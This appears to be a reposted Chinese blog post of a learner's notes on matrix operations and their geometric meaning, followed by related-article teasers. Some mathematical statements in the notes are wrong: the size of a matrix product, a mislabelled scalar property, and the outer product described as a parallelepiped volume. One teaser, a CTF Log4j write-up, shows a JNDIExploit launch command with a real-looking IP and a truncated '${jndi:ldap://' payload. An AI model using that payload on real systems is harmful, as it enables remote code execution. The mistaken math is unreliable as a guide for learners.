线性代数的学习和整理5: 矩阵的加减乘除及其几何意义

目录

1 矩阵加法

1.1 矩阵加法的定义

1.2 加法的属性

1.2.1 只有同类型,相同n*m的矩阵才可以相加

1.2.1 矩阵加法的可交换律:

1.2.2 矩阵加法的可结合律:

1.3矩阵加法的几何意义

2  矩阵的减法

2.1 矩阵减法定义和原理基本同 矩阵的加法

2.2 矩阵减法的几何意义

3 矩阵标量乘法/ 也称 数乘

3.1 数乘的定义

3.2 矩阵的标量乘法的性质

3.3 几何意义:就是 正向/反向的伸缩

4 左乘 & 右乘 (很简单概念,但是需要界定语言的严谨性)

4.1 搞清楚主体:谁的左乘?右乘?

4.2 搞清楚方向:什么是左乘和右乘 

4.3 一般的线性代数公式  AX=Y, 表示 x 左乘矩阵A

5 矩阵的点乘:得到的点积/内积

5.1 详细的矩阵乘法规则

5.1.1 计算规则是:只有形如 n*m矩阵* m*k的矩阵的矩阵才可以相乘

5.1.2  矩阵的乘法不符合交换性,不能交换次序,左乘 ≠ 右乘,A*B ≠B*A

5.2  矩阵点乘法:得到的内积/点积的几何意义

6 矩阵的叉乘:得到的外积/叉积

6.1 定义

6.2 几何意义

7 矩阵求逆(逆矩阵)

7.1 逆矩阵定义

7.2 求逆矩阵的方法

7.3 求逆矩阵的规则

7.3.1 并不是所有的矩阵都可以求逆矩阵

7.4 逆矩阵的函数意义

7.5 逆矩阵的几何意义

8  带引号的“矩阵除法”

8.1 一般没有矩阵除法的说法,但可以这么理解

8.2 矩阵除法的几何意义(?)


1 矩阵加法

1.1 矩阵加法的定义

  • 矩阵加法一般是指两个矩阵把其相对应元素加在一起的运算。 

1.2 加法的属性

可结合律和可交换律

1.2.1 只有同类型,相同n*m的矩阵才可以相加

  • (1,2)+(1,2,3) 无法计算
  • 如何合法可加,生成的结果也是一个向量

1.2.1 矩阵加法的可交换律:

  • A+B=B+A
  • 看坐标系,表示从上面走先走b,再走a到达C,和从下面先走a,再走b到达C是一样的。

1.2.2 矩阵加法的可结合律:

  • (A+B)+C=A+(B+C)
  • 看坐标系,表示3个矩阵相加,先计算A+B,再计算A+B+C 和先计算B+C 结果是一样的。

1.3矩阵加法的几何意义

  • 看下图,实际是向量的相加,是有方向性的,不是简单的相加
  • 而无论2个,还是3个向量相加,都可以用三角形发展继续相加,生成的新向量就是矩阵相加的和----一个新向量

 

 

2  矩阵的减法

2.1 矩阵减法定义和原理基本同 矩阵的加法

  • 虽然一般不说矩阵减法,但原理上OK,EXCEL里计算也OK

2.2 矩阵减法的几何意义

  • 矩阵的减法和加法其实是类似的,但是几何意义不同
  • 加法是2个向量,首尾相接,形成新的向量--和向量
  • 减法是1个减数向量,开始指向另1个被减数的向量,形成的新向量:差向量。如可以可以挪到原点,从原点出发,
  • 可以看出如下图,和从原点出发,而数字为减法后得数的终点作为坐标的向量,是相同的。
  • 为什么一定要挪回到原点看,因为向量空间里要求所有的向量都是从原点出发,终点坐标代表其坐标的向量。

 

3 矩阵标量乘法/ 也称 数乘

3.1 数乘的定义

  • λ*(A+B) =λ*A+λ*B
  • 就是  标量*矩阵对应位置元素,类整数的乘法

3.2 矩阵的标量乘法的性质

  • 可结合性:a*X={ax1,ax2,ax3.....axn]
  • 可交换性:  a*X=X*a

3.3 几何意义:就是 正向/反向的伸缩

  • 如果乘以正数,就是正向伸缩
  • 如果乘以负数,就是反向伸缩
  • 如果乘以a>1,就是伸长,
  • 如果a=0.5 就是缩短

4 左乘 & 右乘 (很简单概念,但是需要界定语言的严谨性)

4.1 搞清楚主体:谁的左乘?右乘?

  • 比如 Ax=y
  • 主体:变量?   那变量 x 左乘矩阵A
  • 主题,矩阵? 那矩阵A 右乘变量x

4.2 搞清楚方向:什么是左乘和右乘 

  • A*B ≠ B*A
  • A*B 是A右乘B, 是A的右边乘以B
  • B*A  是A左乘B,是A的左边乘以B

4.3 一般的线性代数公式  AX=Y, 表示 x 左乘矩阵A

  • 一般的线性代数公式  AX=Y, 表示 x 左乘矩阵A

5 矩阵的点乘:得到的点积/内积

  • 在EXCEL里,使用函数 mmult()+ 选择好生成矩阵的长宽区域+数组公式
  • 注意要提前计算好 目标矩阵的大小,比如 n*m矩阵* m*k的矩阵,结果是 m*k的矩阵

5.1 详细的矩阵乘法规则

5.1.1 计算规则是:只有形如 n*m矩阵* m*k的矩阵的矩阵才可以相乘

并不是任意2个矩阵都可以相乘

  • 只有形如 n*m矩阵* m*k的矩阵的矩阵才可以相乘,也就是前者的列数=后者的行数
  • aij= 矩阵1的第i行* 矩阵2的第j列的结果

本质规则

  • 是两个矩阵元素的投射形成的新矩阵

5.1.2  矩阵的乘法不符合交换性,不能交换次序,左乘 ≠ 右乘,A*B ≠B*A

  • 矩阵乘法要详细考虑次序,不能交换
  • A*B ≠ B*A
  • 矩阵乘法的具体公式:需要考虑展开,后面详细再说

5.2  矩阵点乘法:得到的内积/点积的几何意义

  • 矩阵的内积得到的是一个标量,也就是具体的数,而不是矩阵。
  • 下图是网上找的
  • 向量的内,外积及其几何含义讲解_两向量外积的几何意义-腾讯云开发者社区-腾讯云概括地说,向量的内积(点乘/数量积)。对两个向量执行点乘运算,就是对这两个向量对应位一一相乘之后求和的操作,如下所示,对于向量a和向量b:https://cloud.tencent.com/developer/article/2157496

 

6 矩阵的叉乘/向量乘法:得到的外积/叉积

6.1 定义

  • 没学过,还不太清楚下面是转载的外积的内容
  • 有点像把矩阵的每个元素,当成一个分块矩阵,分别与另外一个矩阵相乘
  • 得到的结果是一个矩阵

 

6.2 几何意义

  • 据说,2个向量的外积表现为这2个向量所构成的平行六面体的体积!

7 矩阵求逆(逆矩阵)

7.1 逆矩阵定义

  • 矩阵A为n阶方阵,若存在n阶矩阵B,使得矩阵A、B的乘积为单位阵,则称A为可逆阵,B为A的逆矩阵。A*B=I/E
  • 若方阵的逆阵存在,则称为可逆矩阵非奇异矩阵,且其逆矩阵唯一。
  • 逆矩阵比然唯一

7.2 求逆矩阵的方法

  • 主要是利用 A*A-=I 标准矩阵

7.3 求逆矩阵的规则

7.3.1 并不是所有的矩阵都可以求逆矩阵

  • 并不是所有的矩阵都可以求逆矩阵
  • 特殊条件是:
  1. 方阵
  2. 满秩的
  3. 双射矩阵

满足这些条件的矩阵才可以求逆

7.3.2 比较方便的快速判断方法,判断标准如下

  1. 如果矩阵的行列式值是否为0,若不为0,则可逆;
  2. 看这个矩阵的秩是否为n,若为n,则矩阵可逆;如果小于n,不可逆。
  3. 若存在一个矩阵B,使矩阵A使得AB=BA=E,则矩阵A可逆;
  4. 对于齐次线性方程AX=0,若方程只有零解,那么这个矩阵可逆;
  5. 对于非齐次线性方程AX=b,若方程只有特解,那么这个矩阵可逆,反之若有无穷解则矩阵不可逆。

7.4 逆矩阵的函数意义

  • 如果把矩阵看成函数
  • 那么函数,只有当定义域到值域是单射,且值域都是满射时,也就是定义域到值域是双射时才会有反函数
  • 同理,也只有这时,矩阵才会有逆矩阵。

7.5 逆矩阵的几何意义

  • 常见矩阵乘法 Ax=y,可以认为是把x从自然基底(正交的一组特殊基底)变换为斜的新坐标系。
  • 那么,逆矩阵就是反过来,把斜坐标系再给转换为正交的自然基底。

百度安全验证https://baijiahao.baidu.com/s?id=1731151185141060114&wfr=spider&for=pc

8  带引号的“矩阵除法”

8.1 一般没有矩阵除法的说法,但可以这么理解

  • ​这个除法实际只是一个类比,并不是真正的 矩阵除法!

这个题目的意思是:

如果知道 ,A矩阵*B矩阵=C矩阵

但是A矩阵已知,C矩阵也已知,如何求B矩阵?

A矩阵*B?矩阵=C矩阵

A*B?=C  那么B?=?    其实B=A-*C  而不是C*A-

  • 一定注意矩阵的次序,很重要!!
  • 正确的,B=A~*C,而且B !=C*A-
  • 错误的,B =C*A-
  • 因为如下推导
  1. A*B= A*A-*C   =I*C=C
  2. A*B= A*C*A-  !=C
     

8.2 矩阵除法的几何意义(?)

  • 这个应该就是函数变换吧,暂时不知道其几何意义是什么
  • A*B= A*A-*C   =I*C=C
  • B=A-*C 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/50316.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Git 安装、配置并把项目托管到码云 Gitee

错误聚集篇: 由于我 git 碰见大量错误,所以集合了一下: git 把项目托管到 码云出现的错误集合_打不着的大喇叭的博客-CSDN博客https://blog.csdn.net/weixin_49931650/article/details/132460492 1、安装 git 1.1 安装步骤 1.1.1 下载对应…

一文了解Gin对Cookie的支持z

1. 引言 本文将从Web应用程序处理请求时需要用户信息,同时HTTP又是无状态协议这个矛盾点出发。从该问题出发,简单描述了解决该问题的Token 机制,进而引出Cookie的实现方案。 基于此我们将详细描述Cookie的规范,然后详细描述具体…

蓝牙资讯|安卓将加强耳机音量监控,耳机查找功能将更加普遍

为了保护用户的听力健康,Android 14 将增加一项新功能,当用户使用耳机听音乐时,如果音量过高或持续时间过长,系统会发出警告,并自动降低音量。这个功能叫做“耳机音量过高警告(headphone loud sound alert&…

javaee idea创建maven项目,然后创建servlet

idea创建maven项目 参考我的上一篇博客点击查看 创建servlet 步骤一 引入依赖 步骤二 新建directory并设置mark directory as 步骤三 新建package和servlet

JVM——类加载与字节码技术—编译期处理+类加载阶段

3.编译期处理 编译期优化称为语法糖 3.1 默认构造器 3.2 自动拆装箱 java基本类型和包装类型之间的自动转换。 3.3泛型集合取值 在字节码中可以看见,泛型擦除就是字节码中的执行代码不区分是String还是Integer了,统一用Object. 对于取出的Object&…

ctfshow-Log4j复现-log4j复现

1、买VPS,打开mobax进行ssh连接,开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

2023年8月22日OpenAI推出了革命性更新:ChatGPT-3.5 Turbo微调和API更新,为您的业务量身打造AI模型

🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…

Linux面试笔试题(6)

91、6块300G的硬盘做raid5,新的设备容量是多大(C) A 900G B 1800G C 1500G D 300G 6300G−300G 1500G 由于一块硬盘用于奇偶校验,所以设备容量将是1500G. Raid 5是一种磁盘阵列,将数据分散到多个硬盘上以提高性能和可…

Xmake v2.8.2 发布,官方包仓库数量突破 1k

Xmake 是一个基于 Lua 的轻量级跨平台构建工具。 它非常的轻量,没有任何依赖,因为它内置了 Lua 运行时。 它使用 xmake.lua 维护项目构建,相比 makefile/CMakeLists.txt,配置语法更加简洁直观,对新手非常友好&#x…

libdrm全解析一 —— 总述

本文参考以下博文: Linux libdrm代码完全解析 LIBDRM使用 最简单的DRM应用程序 (single-buffer) Linux libdrm库入门教程 10. DRM图形显示框架 LIBDRM 特此致谢! 一、介绍 BLFS中给出的介绍 libdrm提供了一个用户空间库&…

PostgreSQL-研究学习-介绍与安装

PostgreSQL-预研 是个很厉害的数据库的样子 ψ(*`ー)ψ 官方文档:http://www.postgres.cn/docs/12/ 总的结论和备注 PgSQL 支持对JSON的支持很强大,以及提供了很多数学几何相关的数据类型【例:点,线条,几何…

java开源 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城 小程序商城搭建 bbc

​ 1. 涉及平台 平台管理、商家端(PC端、手机端)、买家平台(H5/公众号、小程序、APP端(IOS/Android)、微服务平台(业务服务) 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis 3. 前…

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图)

回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图) 目录 回归预测 | MATLAB实现BES-SVM秃鹰搜索优化算法优化支持向量机多输入单输出回归预测(多指标,多图)效…

python中的matplotlib画直方图(数据分析与可视化)

python中的matplotlib画直方图(数据分析与可视化) import numpy as np import pandas as pd import matplotlib.pyplot as pltpd.set_option("max_columns",None) plt.rcParams[font.sans-serif][SimHei] plt.rcParams[axes.unicode_minus]Fa…

centos8安装mysql

1.首先用finalShell远程连接到服务器 2.如果服务器之前安装过mysql请先卸载,我这里是用yum安装的,现在通过yum去卸载 yum remove -y mysql find / -name mysql //找到残留的文件,再通过rm -rf去删除对应的文件3.下面正式开始安装 (1&#…

基于微信小程序+Springboot校园二手商城系统设计和实现

博主介绍:✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、目前专注于大学生项目实战开发,讲解,毕业答疑辅导✌ 🍅文末获取源码联系🍅 👇&#x1f3…

【PHP】数据类型运算符位运算

文章目录 数据类型简单(基本)数据类型:4个小类复合数据类型:2个小类特殊数据类型:2个小类类型转换类型判断整数类型浮点类型布尔类型 运算符赋值运算符算术运算符比较运算符逻辑运算符连接运算符错误抑制符三目运算符自…

Apache ShenYu 学习笔记一

1、简介 这是一个异步的,高性能的,跨语言的,响应式的 API 网关。 官网文档:Apache ShenYu 介绍 | Apache ShenYu仓库地址:GitHub - apache/shenyu: Apache ShenYu is a Java native API Gateway for service proxy, pr…

UE学习记录03----UE5.2 使用MVVM示例

1.打开ue5.2新建C项目 2.项目中通过类导向新建C类,父类选择为UMVVMViewModelBase,创建完成会自动打开vs 3.在VS中对新建的类进行宏定义 使用 C 类向导 创建的类声明自动通过 UCLASS() 宏进行处理。 UCLASS() 宏使得引擎意识到这个类的存在,并…

【Rust】Rust学习 第十九章高级特征

现在我们已经学习了 Rust 编程语言中最常用的部分。在第二十章开始另一个新项目之前,让我们聊聊一些总有一天你会遇上的部分内容。你可以将本章作为不经意间遇到未知的内容时的参考。本章将要学习的功能在一些非常特定的场景下很有用处。虽然很少会碰到它们&#xf…